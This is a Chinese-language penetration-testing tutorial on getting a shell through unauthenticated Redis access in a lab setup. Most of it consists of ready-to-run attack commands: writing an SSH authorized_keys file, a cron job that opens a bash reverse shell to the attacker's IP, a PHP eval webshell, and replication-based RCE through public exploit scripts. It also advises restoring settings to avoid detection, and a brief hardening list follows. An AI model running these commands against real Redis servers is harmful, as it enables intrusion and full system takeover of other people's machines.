redis未授权访问getshell的方式
redis简介
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库
端口:6379
环境
kali =>192.168.60.134
cenos => 192.168.60.130
redis未授权访问
Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上
./redis-server 使用默认配置
./redis-server ../redis.conf 使用自定义配置
未授权访问 | bind | protected-mode | 连接 | 执行命令 |
---|---|---|---|---|
127.0.0.1 | yes | 不能 | 不能 | |
能 | 0.0.0.0 | yes | 能 | 能 |
不绑定 | yes | 能 | 不能 | |
能 | 不绑定 | no | 能 | 能 |
总结:造成未授权访问有两种情况:
- 未开启登录验证,并且把IP绑定到0.0.0.0
- 未开启登录验证,没有设置绑定IP,
protected-mode
关闭
原理
Redis有两种持久化的方式:**快照(RDB文件)**和追加式文件(AOF文件)
RDB方式:备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意文件.
config set dir aa 设置备份目录为xxconfig set dbfilename bb 设置备份文件名为xx
一、写SSH-keygen
利用条件
- root账号启动redis服务
- 服务器开放SSH服务,允许密钥登录。
利用过程
kali上生成公私钥
ssh-keygen -t rsa
未授权访问redis
redis-cli -h 192.168.60.130
利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys
config set dir /root/.ssh config set dbfilename authorized_keys save
写入key-value
set a "\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiqG0Pp2TFXOKg/AdFZv2mdDKizbL85GrbGUg6ZoEpjWnoB9JGRSkSCfz/LoB0kokZ+iPMXPSETxn+Hs5Y13V9jQ0n+O5mDrO+eUSKhkKTTZBjjweIuoCjLvHcwuIHC1T3+S+U895Ur8Ea6tETRNPlKylgO9McsQjNg88q4RFo+vSXaU1IMs8kcyJ26wVeB8tAU/9nEKsjQkip52ENqSIqR3qdEQWV0Eoc9XrXT4o78TKQfkCSUTFUFgOO+9NYUfnWkR5KtbHusyRfNOKlkauFsgoIzHBQBl2K0pU4LkeA5D6YTHZwYwqId0AewSwCNzxq6GAbEVzmIJ3KzhOkjZXs3/JNmweX3DVdyPaXf57IogVyxkWtSGbA2QtUbWL96o8QT1TIvODA2H6s6ktq88/jTfOSInlhURzkxNYXLjvwRi/918ze0f7ISICGlbtkWR0audGfZwjLeYfjI5INc9mPBUjybSQDuCFI2oVOFFBbWWwdB4ipB8pyYf9JrsOMRO0= root@kali\n"
ssh连接
ssh -i id_rsa root@192.168.60.130
二、写计划任务反弹shell
/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。
执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。
利用条件
- redis是root用户启动
利用过程
设置数据库备份目录为linux计划任务目录
config set dir /var/spool/cron/
设置备份文件名为root,以root身份执行计划任务
config set dbfilename root
将反弹shell写入b键值并同步保存
set a "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.60.134/4444 0>&1\n\n"save
然后等待一会儿就可以看到反弹的shell
三、写webshell
利用条件
- 已知web的绝对路径
- 具有读写权限
利用过程
设置数据库备份目录为linux计划任务目录
config set dir /var/www/html
写入webshell并同步保存
set c "\n\n\n<?php @eval($_POST['rose']);?>\n\n\n" config set dbfilename webshell.php save 同步保存操作
四、利用主从复制获取shell
Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。
原理
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
然后在从机上加载so文件,我们就可以执行拓展的新命令了。
实验
下载利用脚本
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so
参考:https://www.cnblogs.com/twosmi1e/p/13308682.html#3517039648
详细分析:https://paper.seebug.org/975/#redis
五、lua rce
高权限运行低版本redis的lua虚拟机,写文件失败时可以进行尝试。
参考:https://www.freebuf.com/articles/web/237263.html
https://www.anquanke.com/post/id/151203/
EXP: https://github.com/QAX-A-Team/redis_lua_exploit/
六、反序列化rce
当遇到 redis 服务器写文件无法 getshell,可以查看redis数据是否符合序列化数据的特征。
序列化数据类型分辨:
jackson:关注 json 对象是不是数组,第一个元素看起来像不像类名,例如["com.blue.bean.User",xxx]
fastjson:关注有没有 @type 字段
jdk:首先看 value 是不是 base64,如果是解码后看里面有没有 java 包名
redis 反序列化本质上不是 redis 的漏洞,而是使用 redis 的应用反序列化了 redis 的数据而引起的漏洞,redis 是一个缓存服务器,用于存储一些缓存对象,所以在很多场景下 redis 里存储的都是各种序列化后的对象数据。
参考:https://www.freebuf.com/articles/web/237263.html
脚本工具
利用
https://github.com/00theway/redis_exp
检测
https://github.com/Ridter/hackredis
防护
- 禁止一些高危命令
- 以低权限运行 Redis 服务
- 为 Redis 添加密码验证
- 禁止外网访问 Redis
- 修改默认端口
- 保证 authorized_keys 文件的安全
- 设置防火墙策略
总结
Windows下如何getshell?
- 写入webshell,需要知道web路径
- 写入启动项,需要目标服务器重启
- 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。
实战在生产环境下用还是会有很多问题的
- redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
- Ubuntu,Debian写计划任务反弹无用
- 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
- 生产环境下用
KEY *
这样的命令直接炸
参考
- https://www.cnblogs.com/twosmi1e/p/13308682.html#3517039648
- https://www.freebuf.com/articles/web/249238.html
- https://www.freebuf.com/articles/web/237263.html
- https://www.freebuf.com/vuls/148758.html
- https://paper.seebug.org/975/#redis
redis未授权访问getshell的方式相关推荐
- 尝试从redis未授权访问到getshell的四种姿势(失败)
尝试从redis未授权访问到getshell的四种姿势(失败) 使用Goby扫描某SRC的C段,发现一个Redis未授权,经验证漏洞存在,故尝试Getshell提高危害(拿更多赏金) 虽然Getshe ...
- Redis未授权访问漏洞记录(端口:6379)
目录 Redis 扫描 未授权登录以及利用 写入SSH公钥,进行远程登录 定时任务反弹shell 写入一句话木马 其它一句话木马 写入/etc/passwd文件 利用主从复制RCE 本地Red ...
- api zoom 实现自动预定_ZoomEyeAPI批量抓取与Redis未授权访问
介绍 Zoomeye是知道创宇开发的一款很厉害的搜索引擎,不过相对于传统的百度,它是用作搜索主机设备,web应用指纹.ZoomEye 支持公网设备指纹检索和 Web 指纹检索网站指纹包括应用名.版本. ...
- redis 未授权访问详解
一. 应用介绍 Redis是一个开源的使用ANSI C语言编写.支持网络.可基于内存亦可持久化的日志型. Key-Value数据库.和Memcached类似,它支持存储的value 类型相对更多,包括 ...
- 哪种修复redis未授权访问漏洞的方法是相对不安全的_关于Linux挖矿、DDOS等应急事件处置方法...
前言 从去年六月份到现在做的应急响应.事件分析大大小小的做了数百个,主要遇到的有挖矿.DDoS.短信接口盗刷.用户接口泄漏.越权信息获取.挂黑页.删数据等.本文只针对自己做的应急响应中的挖矿和DDoS ...
- Redis 未授权访问缺陷可轻易导致系统被黑
Redis 未授权访问缺陷可轻易导致系统被黑 漏洞概要 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在 ...
- redis未授权访问
Redis未授权访问攻击 预备知识 Redis是用C语言开发的一个开源的高性能键值对(key-value)数据库,和Memcached类似.Redis支持存储的value类型相对更多,包括string ...
- 漏洞检测与防御:Redis未授权访问漏洞复现
漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...
- Redis未授权访问漏洞的重现与利用
前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...
最新文章
- 推荐的 CSS 书写顺序
- bootstrap 引用注意事项
- Elasticsearch 节点发现
- xss_url 通关_11-16
- python2.7怎么升级python3_如何将Mac OS X10.9下的Python2.7升级到最新的Python3.3
- Tensorflow学习笔记---1--Python基本操作
- 小括号教学设计导入_如何在教学中凸显出学生的主体地位呢?原来只需要做到这几点即可...
- SVM支持向量机习题解答
- win10如何下载python3_Win10环境中如何实现python2和python3并存
- lintcode-111-爬楼梯
- linux压缩和备份工具
- mysql8 json_table_新特性解读 | MySQL 8.0 json到表的转换
- linux7防火墙端口映射,服务器使用firewall进行端口映射端口转发
- jsp分页带条件查询时,点击上一页或下一页,没有按条件查询数据。
- 计算机如何共享桌面,怎么共享电脑屏幕?
- 二极管整流电路工作原理图
- 基于5g的交通运输_一种基于5G的智慧交通基础服务平台
- HDU-2094-产生冠军
- SAN存储和服务器虚拟化安装方案,如何部署SAN
- java分布式技术平台架构方案